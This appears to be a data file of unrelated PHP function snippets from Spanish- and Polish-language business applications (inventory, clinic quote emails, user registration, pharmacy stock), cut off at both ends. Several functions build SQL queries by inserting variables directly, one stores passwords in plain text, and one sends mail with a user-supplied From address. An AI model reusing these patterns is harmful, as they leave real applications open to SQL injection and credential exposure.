$kwota=number_format(round($kwota,2), 2,',','');\r\n\t\t\t\t\tif ( $pozostalo>0)\r\n\t\t\t\t\t\t{ \r\n\t\t\t\t\t\t\t$suma+=$pozostalo;\r\n\t\t\t\t\t\t\t$pozostalo=number_format($pozostalo, 2,',','');\r\n\t\t\t\t\t\t\t$uzasadnienie.=\"$oznaczenie na kwotę $kwota zł, pozostało do zapłaty $pozostalo zł. \\n\";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t$uzasadnienie.=\"$oznaczenie na kwotę $kwota zł; \\n\";\r\n\t\t\t\t\t\t$suma+=$kwota;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t/*\t\r\n\t\t\t\tif (!empty($no))\r\n\t\t\t\t{\r\n\t\t\t\t\t$uzasadnienie.=\"W zwiazku z nie regulowaniem przez Pozwanego(ą) płatności wynikających z warunków Umowy Powodowie rozwiązali Umowę i wystawili Pozwanemu(ej) następujące noty obciążaniowe: \";\r\n\t\t\t\t\t$n=1;\r\n\t\t\t\t\tforeach ($no as $n => $v)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$oznaczenie=$no[$n][\"oznaczenie\"];\r\n\t\t\t\t\t\t$kwota=$no[$n][\"wartosc\"];\r\n\t\t\t\t\t\t$d=$n;\r\n\t\t\t\t\t\t$kwota=number_format($kwota,2), 2,',','');\r\n\t\t\t\t\t\t$uzasadnienie.=\"$oznaczenie na kwotę $kwota zł; \\n\";\r\n\t\t\t\t\t\t$suma+=$kwota;\r\n\t\t\t\t\t}\r\n\t\t\t\t}*/\r\n\t\t\t\t\r\n\t\t\t\t$suma=number_format(round($suma,2), 2,',','');\r\n\t\t\t\t$uzasadnienie.=\"Razem $suma zł.\\n\";\r\n\t\t\t\t$uzasadnienie.=\"Pomimo wezwań do zapłaty Pozwany(a) nie uregulował należności.\";\r\n\t\t\t\treturn($uzasadnienie);\r\n\t\t\t}", "function generarPreingreso(){\n $this->procedimiento='adq.f_cotizacion_ime';\n $this->transaccion='ADQ_PREING_GEN';\n $this->tipo_procedimiento='IME';\n \n //Define los parametros para la funcion\n $this->setParametro('id_cotizacion','id_cotizacion','int4');\n\n //Ejecuta la instruccion\n $this->armarConsulta();\n\t\t//echo $this->consulta;exit;\n\t\t\n $this->ejecutarConsulta();\n\n //Devuelve la respuesta\n return $this->respuesta;\n }", "function dartecnico_asuntado($id_peticion) {\n //cambiado por pod\n $query_rs_usuarios = sprintf(\"SELECT tb_usuarios.usuario\n FROM tb_pedido_usuarios tb_pedido_usuarios\n INNER JOIN tb_usuarios tb_usuarios\n ON (tb_pedido_usuarios.id_usuarios = tb_usuarios.id_usuarios)\n WHERE (tb_pedido_usuarios.id_peticion = %s) and (tb_pedido_usuarios.estado = 'PROCE') ;\", $id_peticion);\n //echo \"<pre><code>\".$query_rs_usuarios.\"</code></pre>\";\n\n $row_rs_usuarios = conT($query_rs_usuarios);\n\n ?>\n <?php $i=0;\n foreach ($row_rs_usuarios as $row_rs_usuarios ) {\n $i++;\n ?>\n <?php echo $row_rs_usuarios[\"usuario\"]; ?>|\n <?php } ?>\n <?php\n\n return $i;\n }", "function crear_carpeta($ruta,$nombre_carpeta)\r\n\t{\r\n\t}", "public function generar_lote($basedatos,$cantidad) {\n\t\t\t$tabla = DB::table($basedatos)\n ->select(DB::raw('max(lote) as lote'))\n ->get();\n\n //conversion a string y suma uno para el siguiente id\n $idsuma = (int)$tabla[0]->lote + 1;\n\n\t\t \t//concatenar con ceros\n\t\t \t$lotecompleta = str_pad($idsuma, $cantidad, \"0\", STR_PAD_LEFT); \n\n\t \t\treturn $lotecompleta;\n\n\t}", "function pantalla($vista, $data=NULL, $id_modulo=0) \n {\n error_reporting(0);\n $CI =& get_instance();\n $data['IDM']=$id_modulo;\n $data['nick']=$CI->session->userdata('usuario');\n $data['nombre']=$CI->session->userdata('nombre');\n $data['menus']=$CI->seguridad_model->buscar_menus($CI->session->userdata('id_usuario'));\n //$data['actividades']=$CI->seguridad_model->buscar_actividades($CI->session->userdata('id_usuario'));\n if($id_modulo>0 && $id_modulo!=2000) {\n $data['menu_actual']=$CI->seguridad_model->descripcion_menu($id_modulo);\n $data['ayuda']=$CI->seguridad_model->buscar_ayuda($id_modulo);\n\t\t\t$data['ayuda2']=$CI->seguridad_model->buscar_ayuda2($id_modulo);\n }\n else\n if($id_modulo==0)\n $data['menu_actual']=array(\n \"id_modulo_padre\"=> NULL, \n \"img_modulo_padre\"=> NULL, \n \"nombre_modulo_padre\"=> NULL, \n \"url_modulo_padre\"=> NULL, \n \"id_modulo\"=> 0, \n \"nombre_modulo\"=> \"Búsqueda\", \n \"url_modulo\"=> \"usuarios/buscar\", \n \"img_modulo\"=> \"glyphicon glyphicon-search\", \n \"descripcion_modulo\"=> \"Listado de resultados obtenidos en el buscador\"\n );\n else\n $data['menu_actual']=array(\n \"id_modulo_padre\"=> NULL, \n \"img_modulo_padre\"=> NULL, \n \"nombre_modulo_padre\"=> NULL, \n \"url_modulo_padre\"=> NULL, \n \"id_modulo\"=> 0, \n \"nombre_modulo\"=> \"Mi perfil\", \n \"url_modulo\"=> \"usuarios/mi_perfil\", \n \"img_modulo\"=> \"glyphicon glyphicon-user\", \n \"descripcion_modulo\"=> \"Mi registro de usuario\"\n );\n \n $CI->load->view('encabezado',$data);\n $CI->load->view('menu_central');\n $CI->load->view('menu_izquierda');\n $CI->load->view($vista);\n $CI->load->view('menu_derecha'); \n $CI->load->view('piePagina');\n }", "public function ultimoUsuario() {\n $ultimo = new SqlQuery(); //instancio objeto la case en cuestion\n (string) $tabla = get_class($this); //obtengo el nombre de la clase para realizar la consulta en la BD\n try {\n $this->refControladorPersistencia->get_conexion()->beginTransaction();\n $usuarioConsulta = $this->refControladorPersistencia->ejecutarSentencia($ultimo->buscarUltimo($tabla)); //en esta consulta busco cual es el ultimo usuario \n $arrayUsuario = $usuarioConsulta->fetchAll(PDO::FETCH_ASSOC); //utilizo el FETCH_ASSOC para que no repita los campos\n $this->refControladorPersistencia->get_conexion()->commit(); //realizo el commit de los datos a la base de datos\n $idUsuario = \"\"; //creo una variable para poder enviar los datos al metodo correpondiente\n foreach ($arrayUsuario as $id) {//recorro el array que contiene los datos que necesito para buscarl el ultimo usuario\n foreach ($id as $clave => $value) {//recorro los datos dentro del array y obtengo el valor que necesito\n $idUsuario = $value; //asigno el valor correspondiente a la variable creada anteriormente para tal caso\n }\n }\n //envio los datos al metodo que se va a encargar de ralizar la consulta a la base de \n //datos para obtener el último usiario registrado y devolver los datos para mostrarlos por pantalla\n $usuarioId = $this->buscarUsuarioXId($idUsuario); //lamo al metodo para obtener todos los datos del usuario que \n //estoy buscando en este caso el último que se creo\n return $usuarioId; //regreso los datos de ese usuario a la llamada para enviarlos desde el ruteador a la vista\n } catch (PDOException $excepcionPDO) { //atrapo la excepcion por si algo salio mal que se realice el rollback \n echo \"<br>Error PDO: \" . $excepcionPDO->getTraceAsString() . '<br>';\n $this->refControladorPersistencia->get_conexion()->rollBack(); //si salio mal hace un rollback\n } catch (Exception $exc) {\n echo $exc->getTraceAsString();\n $this->refControladorPersistencia->get_conexion()->rollBack(); //si hay algún error hace rollback\n }\n }", "static public function mdlCrearUnidadMedida( $datos ){\n\n \t\t$stmt = Conexion::conectar()->prepare(\"INSERT INTO inventario_x_unidad_medida_salida(unidad_medida_salida, id_inventario, equivalencia ) VALUES ( :unidad_medida_salida, :id_inventario, :equivalencia )\");\n \n \n\t\t$stmt->bindParam(\":unidad_medida_salida\", $datos[\"unidad_medida_salida\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":id_inventario\", $datos[\"id_inventario\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":equivalencia\", $datos[\"equivalencia\"], PDO::PARAM_STR);\n \n\n\n\n \t\tif( $stmt -> execute()) \n \t\t\treturn \"ok\";\n \t\telse \n \t\t\treturn \"error\";\n\n \t\t$stmt-> close();\n \t\t$stmt= null;\n \t}", "public function generaReemplazo(){\n\t\tif( $this->idTipoInhabilidad->reemplazo ){\n\t\t\t//Valida si inhabilidad solicita fecha inicio\n\t\t\tif( $this->idTipoInhabilidad->fecha_inicio ){\n\t\t\t\t//Valida fecha inicio igual a hoy\n\t\t\t\tif( strtotime($this->fecha_inicio) == strtotime(date(\"Y-m-d\")) ){\n\t\t\t\t\t$casos = Trazabilidad::model()->findAllByAttributes(array(\"user_asign\"=>$this->usuario, \"estado\"=>\"1\"));\n\t\t\t\t\tif($casos){\n\t\t\t\t\t\tforeach ($casos as $traza){\n\t\t\t\t\t\t\t$modelAusente = new AusenteTrazabilidad;\n\t\t\t\t\t\t\t$modelAusente->usuario = $this->usuario;\n\t\t\t \t\t$modelAusente->id_trazabilidad = $traza->id;\n\t\t\t \t\tif($modelAusente->save()){\n\t\t\t \t\t\t$traza->user_asign = $this->reemplazo;\n\t\t\t \t\t\t$traza->update();\n\t\t\t \t\t}\n\t\t\t \t\t$observacion_traza = new ObservacionesTrazabilidad;\n\t\t\t \t\t$observacion_traza->id_trazabilidad = $traza->id;\n\t\t\t \t\t$observacion_traza->observacion = \"Caso reasignado por inhabilidad de usuario\";\n\t\t\t \t\t$observacion_traza->usuario = Yii::app()->user->usuario;\n\t\t\t \t\t$observacion_traza->na = $traza->na;\n\t\t\t \t\t$observacion_traza->save();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\t\t\t\n\t\t\t}else if(empty($this->idTipoInhabilidad->fecha_inicio) && $this->id_tipo_inhabilidad == \"4\"){\n\t\t\t\t$casos = Trazabilidad::model()->findAllByAttributes(array(\"user_asign\"=>$this->usuario, \"estado\"=>\"1\"));\n\t\t\t\tif($casos){\n\t\t\t\t\tforeach ($casos as $traza){\n\t\t\t\t\t\t$modelAusente = new AusenteTrazabilidad;\n\t\t\t\t\t\t$modelAusente->usuario = $this->usuario;\n\t\t \t\t$modelAusente->id_trazabilidad = $traza->id;\n\t\t \t\tif($modelAusente->save()){\n\t\t \t\t\t$traza->user_asign = $this->reemplazo;\n\t\t \t\t\t$traza->update();\n\t\t \t\t}\n\t\t \t\t$observacion_traza = new ObservacionesTrazabilidad;\n\t\t \t\t$observacion_traza->id_trazabilidad = $traza->id;\n\t\t \t\t$observacion_traza->observacion = \"Caso reasignado por inhabilidad de usuario\";\n\t\t \t\t$observacion_traza->usuario = Yii::app()->user->usuario;\n\t\t \t\t$observacion_traza->na = $traza->na;\n\t\t \t\t$observacion_traza->save();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "function enviar_presupuesto(){\n $this->asignar_ingreso3();\n $nombre_sede = $this->sede;\n $resultado = $this->datoSede($nombre_sede);\n $cuerpo =\"<img src='http://prevaler.diazcreativos.net.ve/imagenes/logo_admin.png' /><br /><br />\n\t\t<u>Datos de Entrada:</u><br />\";\n $cuerpo .=\"<br />\";\n $cuerpo .= \"<strong>Nombre: </strong>\".utf8_decode($this->nombre1).\"<br />\" ;\n $cuerpo .= \"<strong>Apellido: </strong>\".$this->apellido1.\"<br />\" ;\n $cuerpo .= \"<strong>RIF/Cédula: </strong>\".$this->cedula1.\"<br />\" ;\n $cuerpo .= \"<strong>Fecha de Nacimiento: </strong>\".$this->fecha1.\"<br />\";\n $cuerpo .= \"<strong>E-mail: </strong>\".$this->email.\"<br />\" ;\n $cuerpo .= \"<strong>Teléfono: </strong>\".$this->telefono.\"<br />\" ;\n $cuerpo .= \"<strong>Domicilio: </strong>\".$this->direccion1.\"<br />\" ;\n $cuerpo .= \"<strong>Empresa: </strong>\".$this->empresa.\"<br />\";\n $cuerpo .= \"<strong>Especialidad Médica: </strong>\".$this->especialidad.\"<br />\";\n $cuerpo .= \"<strong>Médico Elegido: </strong>\".$this->medico.\"<br />\";\n $cuerpo .= \"<strong>Diagnóstico: </strong>\".$this->diagnostico.\"<br />\";\n $cuerpo .= \"<strong>Procedimiento: </strong>\".$this->procedimiento.\"<br /><br />\";\n if ($this->seguro != null) {\n $cuerpo .= \"<strong>Presupuesto Con Póliza de Seguro </strong><br /><br />\";\n $cuerpo .= \"<strong>Titular de la Póliza: </strong>\".utf8_decode($this->nombre_pol).\"<br />\" ;\n $cuerpo .= \"<strong>Cédula del Titular de la Póliza: </strong>\".$this->cedula_pol.\"<br />\" ;\n $cuerpo .= \"<strong>Empresa Aseguradora: </strong>\".$this->seguro.\"<br />\" ;\n }else{\n $cuerpo .= \"<strong>Presupuesto Sin Póliza de Seguro </strong><br /><br />\";\n $cuerpo .= \"<strong>Datos de Facturación </strong><br /><br />\";\n $cuerpo .= \"<strong>Nombre: </strong>\".utf8_decode($this->nombre2).\"<br />\" ;\n $cuerpo .= \"<strong>Apellido: </strong>\".$this->apellido2.\"<br />\" ;\n $cuerpo .= \"<strong>RIF/Cédula: </strong>\".$this->cedula2.\"<br />\" ;\n $cuerpo .= \"<strong>Fecha de Nacimiento: </strong>\".$this->fecha2.\"<br />\";\n $cuerpo .= \"<strong>Dirección: </strong>\".$this->direccion2.\"<br />\" ;\n }\n\n $cuerpo .= \"<br />\";\n $cuerpo .= \"---- Fin ----\";\n $cuerpo .= \"<br />\";\n $subject= \"Solicitud de Presupuesto Web Prevaler\";\n $subject2= \"Solicitud de Presupuesto Web Prevaler\";\n\n switch ($resultado['id_sede']) {\n case '1':\n $correo_envio=\"[email protected]\";\n break;\n case '2':\n $correo_envio=\"[email protected]\";\n break;\n case '3':\n $correo_envio=\"[email protected]\";\n break;\n case '4':\n $correo_envio=\"[email protected]\";\n break;\n case '8':\n $correo_envio=\"[email protected]\";\n break;\n\n default:\n $correo_envio=\"[email protected]\";\n break;\n }\n\n $basemailfor=$resultado['email_sede'];\n //$basemailfor=$correo_envio;\n $basemailfrom = $this->email;\n $respuesta =\"<img src='http://prevaler.diazcreativos.net.ve/imagenes/logo_admin.png' /><br />\n\t\t<strong>Saludos Sr(a).: $this->nombre1 $this->apellido1</strong><br /><br />\n\t\tNosotros hemos recibido su Solicitud de Presupuesto, nuestro departamento de atención al cliente le responderá lo más pronto posible<br />\n\t\tGracias por contactar a Prevaler.<br />\n\t\tPrevaler<br /><br />\n\t\tTel&eacute;fonos: <br/>\n\t\t\".$resultado['telefono_sede'].\"<br />\n\t\tTwitter: <a href='https://twitter.com/Prevaler_VE'>@Prevaler_VE</a><br />\n\t\tInstagram: <a href='https://www.instagram.com/prevaler_ve/'>@prevaler_ve</a><br />\n\t\t\".$resultado['email_sede'].\"\n\t\t<br /><br />\n\t\tAtentamente,<br />\n\t\tClínica Prevaler.\";\n $this->mensaje=\"<strong>&iexcl;Excelente!</strong> Su Solicitud de Presupuesto ha sido enviado exitosamente.\";\n\n $mail = new PHPMailer();\n $mail->From = $basemailfrom;\n $mail->FromName = utf8_decode($subject);\n $mail->AddAddress($basemailfor, $this->nombre.\" \".$this->apellido);\n $mail->Subject = utf8_decode($subject);\n $mail->Body = $cuerpo;\n $mail->AltBody = $cuerpo;\n $mail->isHTML(true);\n $exito = $mail->Send();\n\n $mail2 = new PHPMailer();\n $mail2->From = $basemailfor;\n $mail2->FromName = utf8_decode($subject2);\n $mail2->AddAddress($basemailfrom, $this->nombre.\" \".$this->apellido);\n $mail2->Subject = utf8_decode($subject2);\n $mail2->Body = $respuesta;\n $mail2->AltBody = $respuesta;\n $mail2->isHTML(true);\n $exito = $mail2->Send();\n }", "function crear_tabla_horario()\n {\n //El funcionamiento es el mismo que en crear_tabla, excepto que aqui no le pasamos el profesor\n $meses = array(\"31\", \"28\", \"31\", \"30\", \"31\", \"30\", \"31\", \"31\", \"30\", \"31\", \"30\", \"31\");\n $cambio_mes = 0;\n\n $num1 = filter_input(INPUT_POST, 'num1');\n\n $profe=$this->model->get_profe($_SESSION['iduser']);\n $zona = filter_input(INPUT_POST, 'zona');\n $mes = filter_input(INPUT_POST, 'mes');\n $año = filter_input(INPUT_POST, 'año');\n\n $mes = str_pad($mes, 2, \"0\", STR_PAD_LEFT);\n $h_profe=$this->model->get_h_profe($profe[0]['id_profesores'], $zona);\n $numeros[5]=\"\";\n $numeros[0]=$num1;\n for($i=0;$i<5;$i++)\n {\n\n $numeros[$i+1] = $numeros[$i]+1;\n\n if( $numeros[$i+1] > $meses[$mes-1])\n {\n $numeros[$i+1] = $numeros[$i+1] - $meses[$mes-1];\n $cambio_mes = 1;\n }\n\n }\n $total = \"\";\n for($i=8;$i<21;$i++)\n {\n if($i!=14 && $i!=15)\n {\n\n $total.=\"<tr><td>\".$i.\":00-\".($i+1).\":00</td>\";\n for($k=0;$k<5;$k++)\n {\n $total .= \"<td class='$numeros[$k]-$i dia_$k'>\";\n $ano=str_pad($numeros[$k],2,\"0\",STR_PAD_LEFT);\n //Si el horario del profe esta vacio printamos boton en todos los td\n if(!empty($h_profe))\n {\n $cont = 0;\n foreach ($h_profe as $hora)\n {\n $mes_1 = $mes;\n if($cambio_mes == 1 && $mes_1 < 12 && $numeros[$k]<5)\n {\n $mes_1 = $mes_1+1;\n }\n else if( $cambio_mes == 1 && $mes_1 == 12 && $numeros[$k]<5)\n {\n $mes_1 = 1;\n $año = $año+1;\n }\n $mes_1 = str_pad($mes_1, 2, \"0\", STR_PAD_LEFT);\n $fecha = $año.\"-\".$mes_1.\"-\".$ano;\n\n //Comprobamos si la hora y la fecha coincide y sumamos 1 al contador\n if($hora['hora']==$i && $hora['fecha'] == $fecha)\n {\n $cont++;\n }\n }\n //Si el cantador sigue en 0 printamos boton ya que significa que no ha sido marcada\n if($cont ==0)\n {\n $total.= \"<button class='horario hvr-grow-shadow'>Marcar</button>\";\n }\n }\n else\n {\n $total.= \"<button class='horario hvr-grow-shadow'>Marcar</button>\";\n }\n $total .=\"<span style='display:none'>\".$numeros[$k].\" \".$i.\":00</span></td>\";\n }\n $total.=\"</tr>\";\n }\n }\n echo $total;\n }", "function armarCodigoPrestacion($aux) {\r\n $q = \"SELECT * FROM nomenclador.grupo_prestacion\r\n WHERE id_grupo_prestacion=$aux\";\r\n $result_codigo = sql($q, \"Error al consultar grupo_prestacion $aux\", 0) or\r\n excepcion(\"Error al consultar grupo_prestacion\");\r\n $codigoarmado = $result_codigo->fields['categoria_padre'] . $result_codigo->fields['profesional'] . $result_codigo->fields['codigo'];\r\n return $codigoarmado;\r\n}", "public function unidadReceptoraReal($correspondencia_id) {\n \n // BUSCAR UNIDADES DE RECEPTORES ESTABLECIDOS\n $unidades_receptoras = array();\n $unidad_recibe_id = '';\n $receptores_establecidos = Doctrine::getTable('Correspondencia_Receptor')->findByCorrespondenciaIdAndEstablecido($correspondencia_id, 'S');\n foreach ($receptores_establecidos as $receptor_establecido) {\n $unidades_receptoras[] = $receptor_establecido->getUnidadId();\n if($receptor_establecido->getFuncionarioId() == $this->getUser()->getAttribute('funcionario_id')){\n // SI EL FUNCIONARIO LOGUEADO ES ESTABLECIDO COMO RECEPTOR SE SELECCIONA LA UNIDAD POR LA CUAL RECIBE\n $unidad_recibe_id = $receptor_establecido->getUnidadId();\n }\n }\n \n if($unidad_recibe_id==''){\n // EN CASO DE NO ENCONTRAR LA UNIDAD, BUSCAR SI LE FUE ASIGANADA LA CORRESPONDENCIA COMO UNA TAREA\n $receptor_asignado = Doctrine::getTable('Correspondencia_Receptor')->findOneByCorrespondenciaIdAndFuncionarioIdAndEstablecido($correspondencia_id, $this->getUser()->getAttribute('funcionario_id'), 'A');\n\n if($receptor_asignado){\n $unidad_recibe_id = $receptor_asignado->getUnidadId();\n }\n }\n \n if($unidad_recibe_id==''){\n // BUSCAR LAS UNIDADES A LA QUE PERTENECE EL FUNCIONARIO CON PERMISO DE LEER\n $unidades_receptoras = array_unique($unidades_receptoras);\n \n $funcionario_unidades_leer = Doctrine::getTable('Correspondencia_FuncionarioUnidad')->funcionarioAutorizado($this->getUser()->getAttribute('funcionario_id'),'leer');\n\n foreach($funcionario_unidades_leer as $unidad_leer) {\n if(array_search($unidad_leer->getAutorizadaUnidadId(), $unidades_receptoras)>=0){\n $unidad_recibe_id = $unidad_leer->getAutorizadaUnidadId();\n }\n }\n }\n \n return $unidad_recibe_id;\n }", "function agregar($nombre_usuario, $nick_usuario, $clave, $apellido_usuario, $direccion_usuario, $telefono_usuario, $email_usuario, $genero_usuario, $id_rol){\n\t\tinclude 'data_bd.inc';\n\t\tinclude 'databaseClass.php';\n\t\t//creo mi cadena de conexion\n\t\t$conexion = new DB($host, $user, $pass, $bd);\n\t\t//Creo mi conexión\n\t\t$status = $conexion->conectar();\n\t\t//En caso de que devuelva una falla\n\t\tif($status === FALSE){\n\t\t\tdie('No se pudo conectar');\n\t\t}\n\t\t//Creo mi query\n\t\t$consulta = \"INSERT INTO\n\t\t\t\t\t\t\t\tusuario(nombre_usuario, nick_usuario, clave, apellido_usuario, direccion_usuario, telefono_usuario, email_usuario, genero_usuario, id_rol)\n\t\t\t\t\t\t\t\tVALUES(\n\t\t\t\t\t\t\t\t'$nombre_usuario',\n\t\t\t\t\t\t\t\t'$nick_usuario',\n\t\t\t\t\t\t\t\t'$clave',\n\t\t\t\t\t\t\t\t'$apellido_usuario',\n\t\t\t\t\t\t\t\t'$direccion_usuario',\n\t\t\t\t\t\t\t\t'$telefono_usuario',\n\t\t\t\t\t\t\t\t'$email_usuario',\n\t\t\t\t\t\t\t\t'$genero_usuario',\n\t\t\t\t\t\t\t\t$id_rol\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\";\n\t\t//Ejecuto la consulta\n\t\t$resultado = $conexion -> ejecutarConsulta($consulta);\n\t\t//Si fue una falla\n\t\tif($conexion === FALSE){\n\t\t\t$conexion -> cerrar();\t\n\t\t\treturn FALSE;\n\t\t}\n\t\t//Cierro la conexion\n\t\t$id = $resultado;\n\t\t$conexion -> cerrar();\n\t\trequire('usuarioClass.php');\n\t\t$usuario = new Usuario($id, $nombre_usuario, $nick_usuario, $clave, $apellido_usuario, $direccion_usuario, $telefono_usuario, $email_usuario, $genero_usuario, $id_rol);\n\t\t//Regreso los productos\n\t\treturn $usuario;\n\t}", "function IntroducirAjuste($Cantidad, $IdMedicina, $IdArea, $Acta, $Justificacion, $FechaTransferencia, $IdPersonal, $Lote, $Divisor, $UnidadesContenidas, $Precio, $TipoFarmacia,$FechaVencimiento,$IdEstablecimiento,$IdModalidad) {\n\n //Ingreso de datos generales del Lote a utilizarse\n \n $query=\"insert into farm_lotes (Lote,PrecioLote,FechaVencimiento,IdEstablecimiento,IdModalidad) \n values ('$Lote','$Precio','$FechaVencimiento',$IdEstablecimiento,$IdModalidad)\";\n pg_query($query);\n \n $IdLote=pg_insert_id();\n \n if ($TipoFarmacia == 1) {\n $SQL = \"insert into farm_entregamedicamento (IdMedicina,Existencia,IdLote,IdEstablecimiento,IdModalidad) \n values('$IdMedicina','$Cantidad','$IdLote',$IdEstablecimiento,$IdModalidad)\";\n pg_query($SQL);\n $IdIngresoExistencia=pg_insert_id(); \n \n } else {\n\n $SQL = \"insert into farm_medicinaexistenciaxarea (IdMedicina,IdArea,Existencia,IdLote,IdEstablecimiento,IdModalidad) \n values('$IdMedicina','$IdArea','$Cantidad','$IdLote',$IdEstablecimiento,$IdModalidad)\";\n pg_query($SQL);\n $IdIngresoExistencia=pg_insert_id(); \n \n }\n \n //INGRESO DE REGISTROS EN farm_ajustes\n \n $SQL2 = \"insert into farm_ajustes (ActaNumero,IdMedicina,IdArea,Existencia,IdLote,FechaAjuste,Justificacion,IdPersonal,IdExistencia,FechaHoraIngreso,IdEstablecimiento, IdModalidad) \n values('$Acta','$IdMedicina','$IdArea','$Cantidad','$IdLote','$FechaTransferencia','$Justificacion','$IdPersonal','$IdIngresoExistencia',now(),$IdEstablecimiento,$IdModalidad)\";\n pg_query($SQL2);\n }", "function get_ubicacion()\n {\n $usuario = consultas::get_pf();\n $dep = consultas::get_dep_habilitada();\n if($usuario == 'acor_mesa')\n {\n if($dep['id_dep'] == 3)\n { //-- 3:Mesa de EyS --//\n $datos['motivo'] = 'and m1.id_motivo = 10'; //-- 10: Salida de Mesa de EyS --//\n $datos['ubicacion'] = 'DPTO. MESA DE EyS';\n $datos['ubi'] = 5;\n $datos['id_motivo'] = '10';\n }\n }elseif($usuario == 'acor_carga')\n {\n if($dep['id_dep'] == 1)\n { //-- 1:Gestion de deudas --//\n $datos['motivo'] = 'and m1.id_motivo = 11'; //-- 10: Salida de Gestion de deudas --//\n $datos['ubicacion'] = 'DIR. GESTION DE DEUDAS';\n $datos['ubi'] = 6;\n $datos['id_motivo'] = '11';\n }\n elseif($dep['id_dep'] == 2)\n { //-- 2:Procuracion y legales --//\n $datos['motivo'] = 'and m1.id_motivo = 12'; //-- 10: Salida de Procuracion y legales --//\n $datos['ubicacion'] = 'DIR. PROCURACION Y LEGALES';\n $datos['ubi'] = 7;\n $datos['id_motivo'] = '12';\n }\n }\n return $datos;\n }", "function directorio_raiz($id_usuario) {\n\t\t\n\t\t$query = \"SELECT * FROM repositorio_directorios WHERE id_usuario='$id_usuario' AND parent=0\";\n\n\t\t$connection = mysql_connect($this->HOST, $this->USERNAME, $this->PASSWORD);\n\n\t\t$SelectedDB = mysql_select_db($this->DBNAME);\n\t\t$result = mysql_query($query); \n\t\t\n\t\t$row = mysql_fetch_array($result);\n\t\t$numrows = mysql_num_rows($result);\n\t\tmysql_close($connection);\t\n\t\t// COMPROBAMOS QUE HAYA RESULTADOS\n\t\t// SI EL NUMERO DE RESULTADOS ES 0 SIGNIFICA QUE NO HAY REGISTROS CON ESOS DATOS\n\t\tif ($numrows == 0) {\n\t\t\treturn 0;\n\t\t}\n\t\telse {\n\t\t\treturn $row['id'];\n\t\t}\n\t}", "function AgregalineaARutero($ItemCode,$codbarras,$ItemName,$existencia,$lotes,$Unidad,$precio,$PrchseItem,$SellItem,$InvntItem,$AvgPrice,$Price,$frozenFor,$SalUnitMsr,$VATLiable,$lote,$U_Grupo,$SalPackUn,$FAMILIA,$CATEGORIA,$MARCA,$CardCode,$Disponible,$U_Gramaje, $DETALLE_1,$LISTA_A_DETALLE,$LISTA_A_SUPERMERCADO,$LISTA_A_MAYORISTA,$LISTA_A_2_MAYORISTA,$PANALERA,$SUPERMERCADOS,$MAYORISTAS,$HUELLAS_DORADAS,$ALSER,$COSTO,$PRECIO_SUGERIDO,$PuntosWeb,$Ranking,$CodCliente)\n\t{\n\t\tif(\t$this->VerificaExisteEnRutero($CodCliente,$ItemCode)==0)\n\t\t{\n\t\t\t if($this->con->conectar()==true){\n\t\t\t\t \n\t\t\t\ttry{\n\t\t\t mysql_query(\"INSERT INTO `RUTEROS`(`ItemCode`, `codbarras`, `ItemName`, `existencia`, `lotes`, `Unidad`, `precio`, `PrchseItem`, `SellItem`, `InvntItem`, `AvgPrice`, `Price`, `frozenFor`, `SalUnitMsr`, `VATLiable`, `lote`, `U_Grupo`, `SalPackUn`, `FAMILIA`, `CATEGORIA`, `MARCA`, `CardCode`, `Disponible`, `U_Gramaje`, `DETALLE 1`, `LISTA A DETALLE`, `LISTA A SUPERMERCADO`, `LISTA A MAYORISTA`, `LISTA A + 2% MAYORISTA`, `PANALERA`, `SUPERMERCADOS`, `MAYORISTAS`, `HUELLAS DORADAS`, `ALSER`, `COSTO`, `PRECIO SUGERIDO`, `PuntosWeb`, `Ranking`, `CodCliente`) VALUES ('\".$ItemCode.\"','\".$codbarras.\"','\".$ItemName.\"','\".$existencia.\"','\".$lotes.\"','\".$Unidad.\"','\".$precio.\"','\".$PrchseItem.\"','\".$SellItem.\"','\".$InvntItem.\"','\".$AvgPrice.\"','\".$Price.\"','\".$frozenFor.\"','\".$SalUnitMsr.\"','\".$VATLiable.\"','\".$lote.\"','\".$U_Grupo.\"','\".$SalPackUn.\"','\".$FAMILIA.\"','\".$CATEGORIA.\"','\".$MARCA.\"','\".$CardCode.\"','\".$Disponible.\"','\".$U_Gramaje.\"','\".$DETALLE_1.\"','\".$LISTA_A_DETALLE.\"','\".$LISTA_A_SUPERMERCADO.\"','\".$LISTA_A_MAYORISTA.\"','\".$LISTA_A_2_MAYORISTA.\"','\".$PANALERA.\"','\".$SUPERMERCADOS.\"','\".$MAYORISTAS.\"','\".$HUELLAS_DORADAS.\"','\".$ALSER.\"','\".$COSTO.\"','\".$PRECIO_SUGERIDO.\"','\".$PuntosWeb.\"','\".$Ranking.\"','\".$CodCliente.\"')\");\n\t\t\t\n\t\t\t//return \"Agrego linea a rutero\";\n\t\t\t\n\t\t\t} catch(Exception $e){ return \"Error al linea a rutero\" & $e;}\n\t\t\t\n\t\t\t\n\t\t\t}else return \"no conecto EN\";\n\t\t\t}else return \"ya existe EN RUTERO\";\n\t\t\n\t\t\n\t}", "function gr_tipo15($_idrespuesta,$valor,$_otros=null,$id_pregunta=\"\"){\n $tableRpta=$this->_tablerpta;\n if(empty($_idrespuesta) and isset($valor)){\n $g_sql=\"INSERT INTO $tableRpta ([[ra_descripcion]],[[id_conjunto_respuesta]],[[id_pregunta]],[[id_tpregunta]],[[id_capitulo]],[[id_formato]],[[id_conjunto_pregunta]],[[id_version]],[[id_junta]]) VALUES (:valor, :idconjrpta, :idpregunta, :idtpregunta, :idcapitulo, :idformato,:idconjprta,:idversion,:idjunta)\";\n if($id_pregunta==1318)\n {\n $id_conj_resp= $this->_idconjrpta;\n $enti = \\common\\models\\autenticacion\\Entidades::find()->where(['=', 'entidades.id_entidad', $id_conj_resp])->one();\n $iden= $enti['identificacion'];\n $g_sql.=\"; UPDATE USUARIOS_AP SET [[usuario_digitador]]=:valor WHERE [[identificacion]] ='$iden';\";\n }\n }else if(!empty($_idrespuesta) and isset($valor)){\n $g_sql=\"UPDATE $tableRpta SET [[ra_descripcion]] = 